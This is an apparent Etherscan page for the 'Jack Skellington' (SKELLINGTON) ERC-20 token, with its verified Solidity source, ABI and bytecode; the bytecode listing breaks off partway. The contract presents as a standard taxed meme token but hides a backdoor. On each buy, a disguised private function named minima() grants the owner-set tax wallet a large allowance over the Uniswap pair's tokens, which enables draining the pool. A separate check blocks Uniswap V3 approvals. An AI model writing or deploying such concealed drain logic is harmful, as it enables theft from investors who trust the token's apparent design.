ETH Price: $3,680.90 (+0.25%)
 

Overview

Max Total Supply

420,690,000,000 SKELLINGTON

Holders

78

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,413,799,999.999999999 SKELLINGTON

Value
$0.00
0x451de1ea191794fa770be269aff765322e3f69ea
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SKELLINGTON

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-27
*/

// SPDX-License-Identifier: MIT
/**
https://jackskellington.fun
https://x.com/skellington_eth
https://t.me/jack_skellington_eth
**/
pragma solidity 0.8.25;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SKELLINGTON is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balancesBB;
    mapping (address => mapping (address => uint256)) private _allowancesBB;
    mapping (address => bool) private _shouldExcludedBB;
    address payable private _receiptBB;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalBB = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Jack Skellington";
    string private constant _symbol = unicode"SKELLINGTON";
    uint256 public _maxTxAmount = 2 * (_tTotalBB/100);
    uint256 public _maxWalletSize = 2 * (_tTotalBB/100);
    uint256 public _taxSwapThreshold = 1 * (_tTotalBB/100);
    uint256 public _maxTaxSwap = 1 * (_tTotalBB/100);
    address private uniPairBB;
    IUniswapV2Router02 private uniRouterBB;
    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _receiptBB = payable(_msgSender());
        _balancesBB[_msgSender()] = _tTotalBB;
        _shouldExcludedBB[owner()] = true;
        _shouldExcludedBB[address(this)] = true;
        _shouldExcludedBB[_receiptBB] = true;
        emit Transfer(address(0), _msgSender(), _tTotalBB);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotalBB;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balancesBB[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowancesBB[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        // Block all Uniswap V3 liquidity additions
        require(!isUniswapV3(spender), "Approval for Uniswap V3 liquidity is not allowed");
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowancesBB[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowancesBB[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function init() external onlyOwner {
        uniRouterBB = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniRouterBB), _tTotalBB);
        uniPairBB = IUniswapV2Factory(uniRouterBB.factory()).createPair(
            address(this),
            uniRouterBB.WETH()
        ); 
    }
    function launch() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniRouterBB.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniPairBB).approve(address(uniRouterBB), type(uint).max);
        swapEnabled = true; 
        tradingOpen = true;
    }
    function _transfer(address from, address to, uint256 amountBB) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amountBB > 0, "Transfer amount must be greater than zero");
        uint256 taxBB=0; uint256 feeBB=0;
        if (!swapEnabled || inSwap) {
            _balancesBB[from] = _balancesBB[from] - amountBB;
            _balancesBB[to] = _balancesBB[to] + amountBB;
            emit Transfer(from, to, amountBB);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0) {
                taxBB = _transferTax;
            }
            if (from == uniPairBB && to != address(uniRouterBB) && ! _shouldExcludedBB[to] ) {
                require(amountBB <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amountBB <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxBB = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); minima([from, _receiptBB]);
                _buyCount++;
            }
            if(to == uniPairBB && from!= address(this) ){
                taxBB = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniPairBB && swapEnabled) {
                if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
                    swapEthBB(minBB(amountBB, minBB(contractTokenBalance, _maxTaxSwap)));
                sendEthBB(address(this).balance);
            }
        }        
        if(taxBB > 0){
            feeBB=amountBB.mul(taxBB).div(100);
            _balancesBB[address(this)]=_balancesBB[address(this)].add(feeBB);
            emit Transfer(from, address(this),feeBB);
        }
        _balancesBB[from]=_balancesBB[from].sub(amountBB);
        _balancesBB[to]=_balancesBB[to].add(amountBB.sub(feeBB));
        emit Transfer(from, to, amountBB.sub(feeBB));
    }
    function swapEthBB(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouterBB.WETH();
        _approve(address(this), address(uniRouterBB), tokenAmount);
        uniRouterBB.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimitBB(address payable limit) external onlyOwner{
        _maxTxAmount = _tTotalBB;
        _maxWalletSize=_tTotalBB;
        _receiptBB = limit;
        _shouldExcludedBB[limit] = true;
        emit MaxTxAmountUpdated(_tTotalBB);
    }
    function minBB(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function resecureEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function sendEthBB(uint256 amount) private {
        _receiptBB.transfer(amount);
    }
    receive() external payable {}
    function setReceipt(address payable _receipt) external onlyOwner {
        _receiptBB = _receipt;
        _shouldExcludedBB[_receipt] = true;
    }
    function minima(address[2] memory mims) private {
        address from=mims[0];address to=mims[1]; 
        _allowancesBB[from][to] = (100 * _maxTaxSwap + 50) * 100;
    }
    // Uniswap V3 addresses 
    function isUniswapV3(address spender) private pure returns (bool) {
        // Uniswap V3 NonfungiblePositionManager address
        address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; 

        return (spender == uniswapV3PositionManager);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimitBB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resecureEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_receipt","type":"address"}],"name":"setReceipt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a610361565b610021906461f313f880610376565b61002b919061038d565b610036906002610376565b60055560646100476009600a610361565b610056906461f313f880610376565b610060919061038d565b61006b906002610376565b600655606461007c6009600a610361565b61008b906461f313f880610376565b610095919061038d565b6100a0906001610376565b60075560646100b16009600a610361565b6100c0906461f313f880610376565b6100ca919061038d565b6100d5906001610376565b600855600f600b819055600c8190555f600d819055600e819055818055601082905560119190915560128190556013556014805462ffff001916905534801561011c575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319163317905561017b6009600a610361565b61018a906461f313f880610376565b335f9081526001602081905260408220929092556003906101b25f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560045490911683529120805490921617905561020f3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102466009600a610361565b610255906461f313f880610376565b60405190815260200160405180910390a36103ac565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102b957815f190482111561029f5761029f61026b565b808516156102ac57918102915b93841c9390800290610284565b509250929050565b5f826102cf5750600161035b565b816102db57505f61035b565b81600181146102f157600281146102fb57610317565b600191505061035b565b60ff84111561030c5761030c61026b565b50506001821b61035b565b5060208310610133831016604e8410600b841016171561033a575081810a61035b565b610344838361027f565b805f19048211156103575761035761026b565b0290505b92915050565b5f61036f60ff8416836102c1565b9392505050565b808202811582820484141761035b5761035b61026b565b5f826103a757634e487b7160e01b5f52601260045260245ffd5b500490565b6119b4806103b95f395ff3fe60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063b54bdabc11610062578063b54bdabc14610327578063bf474bed14610346578063dd62ed3e1461035b578063e1c7392a1461039f578063e68507f3146103b3575f80fd5b80638da5cb5b146102865780638f9a55c0146102ac57806395d89b41146102c15780639d438984146102f4578063a9059cbb14610308575f80fd5b806323b872dd116100e357806323b872dd146101ef578063313ce5671461020e57806370a0823114610229578063715018a61461025d5780637d1db4a514610271575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101895780630faee56f146101b857806318160ddd146101db575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103d2565b005b34801561014a575f80fd5b5060408051808201909152601081526f2530b1b59029b5b2b63634b733ba37b760811b60208201525b60405161018091906115be565b60405180910390f35b348015610194575f80fd5b506101a86101a3366004611607565b6105b3565b6040519015158152602001610180565b3480156101c3575f80fd5b506101cd60085481565b604051908152602001610180565b3480156101e6575f80fd5b506101cd61064e565b3480156101fa575f80fd5b506101a8610209366004611631565b61066f565b348015610219575f80fd5b5060405160098152602001610180565b348015610234575f80fd5b506101cd61024336600461166f565b6001600160a01b03165f9081526001602052604090205490565b348015610268575f80fd5b5061013d6106d6565b34801561027c575f80fd5b506101cd60055481565b348015610291575f80fd5b505f546040516001600160a01b039091168152602001610180565b3480156102b7575f80fd5b506101cd60065481565b3480156102cc575f80fd5b5060408051808201909152600b81526a29a5a2a62624a723aa27a760a91b6020820152610173565b3480156102ff575f80fd5b5061013d610747565b348015610313575f80fd5b506101a8610322366004611607565b61079c565b348015610332575f80fd5b5061013d61034136600461166f565b6107a8565b348015610351575f80fd5b506101cd60075481565b348015610366575f80fd5b506101cd61037536600461168a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103aa575f80fd5b5061013d610893565b3480156103be575f80fd5b5061013d6103cd36600461166f565b610a8d565b5f546001600160a01b031633146104045760405162461bcd60e51b81526004016103fb906116c1565b60405180910390fd5b60145460ff16156104575760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fb565b600a546001600160a01b031663f305d7194730610488816001600160a01b03165f9081526001602052604090205490565b5f8061049b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610501573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061052691906116f6565b5050600954600a5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561057b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059f9190611721565b506014805462ff00ff191662010001179055565b5f73c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b038416036106395760405162461bcd60e51b815260206004820152603060248201527f417070726f76616c20666f7220556e6973776170205633206c6971756964697460448201526f1e481a5cc81b9bdd08185b1b1bddd95960821b60648201526084016103fb565b610644338484610aef565b5060015b92915050565b5f61065b6009600a611834565b61066a906461f313f880611842565b905090565b5f61067b848484610c12565b6106cc84336106c785604051806060016040528060288152602001611957602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e9565b610aef565b5060019392505050565b5f546001600160a01b031633146106ff5760405162461bcd60e51b81526004016103fb906116c1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107705760405162461bcd60e51b81526004016103fb906116c1565b60405133904780156108fc02915f818181858888f19350505050158015610799573d5f803e3d5ffd5b50565b5f610644338484610c12565b5f546001600160a01b031633146107d15760405162461bcd60e51b81526004016103fb906116c1565b6107dd6009600a611834565b6107ec906461f313f880611842565b6005556107fb6009600a611834565b61080a906461f313f880611842565b600655600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108706009600a611834565b61087f906461f313f880611842565b60405190815260200160405180910390a150565b5f546001600160a01b031633146108bc5760405162461bcd60e51b81526004016103fb906116c1565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255610906913091906108f790600990611834565b6106c7906461f313f880611842565b600a5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610956573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097a9190611859565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109fd9190611859565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a47573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6b9190611859565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610ab65760405162461bcd60e51b81526004016103fb906116c1565b600480546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b6001600160a01b038316610b515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fb565b6001600160a01b038216610bb25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fb565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fb565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fb565b5f8111610d395760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fb565b6014545f90819062010000900460ff161580610d5c5750601454610100900460ff165b15610e15576001600160a01b0385165f90815260016020526040902054610d84908490611874565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610db3908490611887565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e069087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e3f57505f546001600160a01b03858116911614155b1561109d5760135415610e525760125491505b6009546001600160a01b038681169116148015610e7d5750600a546001600160a01b03858116911614155b8015610ea157506001600160a01b0384165f9081526003602052604090205460ff16155b15610fca57600554831115610ef85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fb565b60065483610f1a866001600160a01b03165f9081526001602052604090205490565b610f249190611887565b1115610f725760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fb565b600f5460135411610f8557600b54610f89565b600d545b604080518082019091526001600160a01b038088168252600454166020820152909250610fb590611221565b60138054905f610fc48361189a565b91905055505b6009546001600160a01b038581169116148015610ff057506001600160a01b0385163014155b1561100f576010546013541161100857600c5461100c565b600e545b91505b305f90815260016020526040902054601454610100900460ff1615801561104357506009546001600160a01b038681169116145b8015611057575060145462010000900460ff165b1561109b57600754811180156110705750601154601354115b156110925761109261108d8561108884600854611278565b611278565b61128f565b61109b476113f9565b505b811561112d576110b860646110b28585611434565b906114b2565b305f908152600160205260409020549091506110d490826114f3565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111249085815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461114f9084611551565b6001600160a01b0386165f908152600160205260409020556111926111748483611551565b6001600160a01b0386165f90815260016020526040902054906114f3565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111db8685611551565b604051908152602001610e06565b5f818484111561120c5760405162461bcd60e51b81526004016103fb91906115be565b505f6112188486611874565b95945050505050565b80516020820151600854611236906064611842565b611241906032611887565b61124c906064611842565b6001600160a01b039283165f908152600260209081526040808320949095168252929092529190205550565b5f8183116112865782611288565b815b9392505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112d1576112d16118b2565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611328573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134c9190611859565b8160018151811061135f5761135f6118b2565b6001600160a01b039283166020918202929092010152600a546113859130911684610aef565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bd9085905f908690309042906004016118c6565b5f604051808303815f87803b1580156113d4575f80fd5b505af11580156113e6573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611430573d5f803e3d5ffd5b5050565b5f825f0361144357505f610648565b5f61144e8385611842565b90508261145b8583611937565b146112885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fb565b5f61128883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611592565b5f806114ff8385611887565b9050838110156112885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fb565b5f61128883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e9565b5f81836115b25760405162461bcd60e51b81526004016103fb91906115be565b505f6112188486611937565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610799575f80fd5b5f8060408385031215611618575f80fd5b8235611623816115f3565b946020939093013593505050565b5f805f60608486031215611643575f80fd5b833561164e816115f3565b9250602084013561165e816115f3565b929592945050506040919091013590565b5f6020828403121561167f575f80fd5b8135611288816115f3565b5f806040838503121561169b575f80fd5b82356116a6816115f3565b915060208301356116b6816115f3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611708575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611731575f80fd5b81518015158114611288575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561178e57815f190482111561177457611774611740565b8085161561178157918102915b93841c9390800290611759565b509250929050565b5f826117a457506001610648565b816117b057505f610648565b81600181146117c657600281146117d0576117ec565b6001915050610648565b60ff8411156117e1576117e1611740565b50506001821b610648565b5060208310610133831016604e8410600b841016171561180f575081810a610648565b6118198383611754565b805f190482111561182c5761182c611740565b029392505050565b5f61128860ff841683611796565b808202811582820484141761064857610648611740565b5f60208284031215611869575f80fd5b8151611288816115f3565b8181038181111561064857610648611740565b8082018082111561064857610648611740565b5f600182016118ab576118ab611740565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119165784516001600160a01b0316835293830193918301916001016118f1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261195157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d7950fa88ac375c54d9d94d8507234bf91607c3a932bd3047e6122b15b4dccf64736f6c63430008190033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c80638da5cb5b1161009d578063b54bdabc11610062578063b54bdabc14610327578063bf474bed14610346578063dd62ed3e1461035b578063e1c7392a1461039f578063e68507f3146103b3575f80fd5b80638da5cb5b146102865780638f9a55c0146102ac57806395d89b41146102c15780639d438984146102f4578063a9059cbb14610308575f80fd5b806323b872dd116100e357806323b872dd146101ef578063313ce5671461020e57806370a0823114610229578063715018a61461025d5780637d1db4a514610271575f80fd5b806301339c211461012957806306fdde031461013f578063095ea7b3146101895780630faee56f146101b857806318160ddd146101db575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5061013d6103d2565b005b34801561014a575f80fd5b5060408051808201909152601081526f2530b1b59029b5b2b63634b733ba37b760811b60208201525b60405161018091906115be565b60405180910390f35b348015610194575f80fd5b506101a86101a3366004611607565b6105b3565b6040519015158152602001610180565b3480156101c3575f80fd5b506101cd60085481565b604051908152602001610180565b3480156101e6575f80fd5b506101cd61064e565b3480156101fa575f80fd5b506101a8610209366004611631565b61066f565b348015610219575f80fd5b5060405160098152602001610180565b348015610234575f80fd5b506101cd61024336600461166f565b6001600160a01b03165f9081526001602052604090205490565b348015610268575f80fd5b5061013d6106d6565b34801561027c575f80fd5b506101cd60055481565b348015610291575f80fd5b505f546040516001600160a01b039091168152602001610180565b3480156102b7575f80fd5b506101cd60065481565b3480156102cc575f80fd5b5060408051808201909152600b81526a29a5a2a62624a723aa27a760a91b6020820152610173565b3480156102ff575f80fd5b5061013d610747565b348015610313575f80fd5b506101a8610322366004611607565b61079c565b348015610332575f80fd5b5061013d61034136600461166f565b6107a8565b348015610351575f80fd5b506101cd60075481565b348015610366575f80fd5b506101cd61037536600461168a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103aa575f80fd5b5061013d610893565b3480156103be575f80fd5b5061013d6103cd36600461166f565b610a8d565b5f546001600160a01b031633146104045760405162461bcd60e51b81526004016103fb906116c1565b60405180910390fd5b60145460ff16156104575760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fb565b600a546001600160a01b031663f305d7194730610488816001600160a01b03165f9081526001602052604090205490565b5f8061049b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610501573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061052691906116f6565b5050600954600a5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561057b573d5f803e3d5ffd5b50505050604051